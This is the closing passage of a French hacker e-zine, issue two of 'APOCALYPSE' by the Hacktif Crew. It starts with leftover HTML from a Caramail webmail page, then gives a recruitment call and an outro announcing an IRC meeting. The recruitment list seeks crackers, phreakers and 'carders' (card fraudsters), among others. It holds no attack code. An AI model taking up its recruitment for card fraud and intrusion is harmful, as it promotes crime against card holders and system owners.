      <TD VALIGN=bottom ROWSPAN=2 WIDTH=76 BGCOLOR="#000000">
         <P>&nbsp;</P>
      </TD>
      <TD VALIGN=top ROWSPAN=2 WIDTH=72>
         <P><IMG SRC="http://imgsrv.caramail.com/images/cara4.gif" WIDTH=72 HEIGHT=106
ALIGN=bottom></P>
      </TD>
      <TD ALIGN=center VALIGN=top COLSPAN=2 WIDTH=98>
         <P><INPUT TYPE=submit NAME=Enter VALUE=" Entrer "></P>
      </TD>
      <TD VALIGN=top ROWSPAN=2 COLSPAN=2 WIDTH=72>
         <P><A HREF="/Bin/CreationCompte2/FormulaireNomPrenom.asp">
<IMG SRC="http://imgsrv.caramail.com/images/cara6.gif" WIDTH=72 HEIGHT=106 BORDER=0
ALIGN=bottom></A></P>
      </TD>
      <TD VALIGN=top ROWSPAN=2 WIDTH=152 BGCOLOR="#000000">
         <P>&nbsp;</P>
      </TD>
   </TR>
   <TR>
      <TD ALIGN=center VALIGN=top ROWSPAN=2 WIDTH=134 BGCOLOR="#000040">
         <P><A HREF="http://adclick.caramail.com/cgi-bin/redirect?TYPE=PUB&FROM=33&IDBANDEAU
=CDI27&TARGET=www.cdiscount.com/default.asp%3Frefer=caramail" TARGET="_blank">
<IMG SRC="http://ad.caramail.com/pub/CDI27.gif" WIDTH=100 HEIGHT=60 BORDER=0 ALIGN=bottom>
</A>&nbsp;</P>
      </TD>
</A><TD VALIGN=bottom COLSPAN=2 WIDTH=98>
         <P><A HREF="/Bin/CreationCompte2/FormulaireNomPrenom.asp">
<IMG SRC="http://imgsrv.caramail.com/images/cara5.gif" WIDTH=98 HEIGHT=62 BORDER=0
ALIGN=bottom></A></P>
      </TD>
   </TR>
   <TR BGCOLOR="#000000"><TD ALIGN=center VALIGN=top COLSPAN=6 WIDTH=318>
         <P>&nbsp;</P>
      </TD>
      <TD VALIGN=top WIDTH=152>
         <P><A HREF="/Bin/CreationCompte2/FormulaireNomPrenom.asp">
<IMG SRC="http://imgsrv.caramail.com/images/lien_creation.gif" WIDTH=144 HEIGHT=20 BORDER=0
ALIGN=bottom></A><BR>
         <IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=10 HEIGHT=10 ALIGN=bottom>
</P>
      </TD>
   </TR>
   <TR BGCOLOR="#000000">
      <TD ALIGN=center VALIGN=top WIDTH=134 BGCOLOR="#000040">
         <P><FONT SIZE="-2" FACE="Arial,Helvetica" COLOR="#FFFFFF">&reg;Tous
         droits r&eacute;serv&eacute;s 2000</FONT></P>
      </TD>
      <TD VALIGN=top WIDTH=76>
         <P>&nbsp;</P>
      </TD>
      <TD ALIGN=center VALIGN=top COLSPAN=5 WIDTH=242>
         <P><FONT SIZE="-2" FACE="Arial,Helvetica" COLOR="#FFFFFF">Dialogue
         en direct : <B>8605</B> connect&eacute;s<BR>
         CaraPlazza : <B>2493</B> articles en vente</FONT></P>
      </TD>
      <TD ALIGN=center VALIGN=top WIDTH=152>
         <P>&nbsp;</P>
      </TD>
   </TR>
   <TR BGCOLOR="#FFF0C0">
      <TD ALIGN=center VALIGN=top WIDTH=134 BGCOLOR="#FFCC00">
         <P><IMG SRC="http://imgsrv.caramail.com/images/spray_little.gif" WIDTH=132 HEIGHT=22
ALIGN=bottom></P>
      </TD>
      <TD VALIGN=top COLSPAN=7 WIDTH=470>
         <CENTER><FONT SIZE="-2" FACE="Arial, Helvetica">Spray
         Europe: </FONT><A HREF="http://www.spray.net" TARGET="_blank"><FONT SIZE="-2"
FACE="Arial, Helvetica">Allemagne</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
         </FONT><A HREF="http://www.spray.fr" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">France</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
         </FONT><A HREF="http://www.spray.it" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">Italie</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
         </FONT><A HREF="http://www.spray.no" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">Norv&egrave;ge</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
         </FONT><A HREF="http://www.spray.se" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">Su&egrave;de</FONT></A><FONT SIZE="-2" FACE="Arial, Helvetica">
         </FONT><A HREF="http://www.seznam.cz" TARGET="_blank"><FONT SIZE="-2" FACE="Arial,
Helvetica">Rep.
         Tch&egrave;que</FONT></A></CENTER>
      </TD>
   </TR>
   <TR BGCOLOR="#FFFFFF">
      <TD VALIGN=top COLSPAN=8 WIDTH=604>
         <P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=5 HEIGHT=5
ALIGN=bottom></P>
      </TD>
   </TR>
   <TR BGCOLOR="#FFFFFF">
      <TD ALIGN=center VALIGN=top COLSPAN=8 WIDTH=604>
         <P><FONT SIZE="-2" FACE="Arial,Helvetica">Caramail respecte
         la </FONT><A HREF="javascript:OpenWin();"><FONT SIZE="-2" FACE="Arial,Helvetica">loi
         informatique et libert&eacute;s de
         1978</FONT></A><FONT SIZE="-2" FACE="Arial,Helvetica">.</FONT></P>
      </TD>
   </TR>
</TABLE>
 <INPUT TYPE=hidden NAME=TZ VALUE=0></CENTER>

<P></FORM></P>
</BODY>
</HTML>


											)-\\ Scurt //-(
											^^^^^^^^^^^^^^^^^ 





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 









	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                            	ON RECRUTE !!!

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



	Encore et toujours, le Hacktif Crew recherche du monde, dont notamment :


			* des hackers (de prfrence hacktifs mdr)

			* des paranoaques aigus experts en cryptographie

			* des crackers (des VRAIS)

			* des phreakers (RTC, GSM, WAP et bidouilles)

			* des carders (p bien lol)

			* des trashers

			* des kings sur plateformes UNIX 

			* des programmeurs (tous les langages possibles)

			* des sceners motivs pour crire des articles

			* des Cyber-Commandos pour faire des cyber-missions-suicides ;o)

			* des gars qui seraient intresss par des meets IRC & IRL

			* des mcnes pour nous refiler des ordinateurs portables 

			* quelqu'un pour faire des tee-shirts  nos couleurs





	A bon entendeur... ON VOUS ATTEND !!!




											~)- Redoxx -(~
											^^^^^^^^^^^^^^^^^^ 





		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 








	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                                   OUTRO

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	


	
	C'EST FINI !!!

	Le second numro de APOCALYPSE s'achve ici, en esprant que a vous a plu.

	On vous donne rendez-vous  notre meeting IRC le samedi 2 dcembre  partir de 21h00
sur le chan #cyberpunk se trouvant sur Undernet (eu.undernet.org), o l'on essaira de traiter
d'un maximum de sujet comme le hacking, le cracking, le phreaking, le se, le re, la crypto,
ce qu'on appelle maintenat le "spirit" (genre la bananarchie), la programmation, Linux,
les exploits, ainsi que le dveloppement de la Scne franaise/belge/suisse.

	S'il le faut, on crera des chans parallles, avec un chan rserv  chaque sujet et le
chan #cyberpunk en guise de grand rassemblement.

	Voili, rendez-vous le 2 dcembre !!!

	BYE BYE !!!



											~)- Redoxx -(~
											^^^^^^^^^^^^^^^^^^ 




		#######################################################################
		#######################################################################
		#######  __    __   ____  _____   __   ___ ___    __  _______   #######
		####### |  |  |  | /    |/     \ |  | /   |   |__|__|/       \  #######
		####### |  |__|  |/  /| |   _   \|  |/   //      \__/    |\___\ #######
		####### |        |  / | |  | \___\      / |  ____/  |    |__    #######
		####### |   __   | /__| |  |_/   /      \ |  \___|  |       |   #######
		####### |  |  |  |      |       /|  |\   \\      /  |     __|   #######
		####### |__|  |__|__||__|\_____/ |__| \___|\____/|__|\___|      #######
		#######                                                         #######
		#######################################################################
		#######################################################################
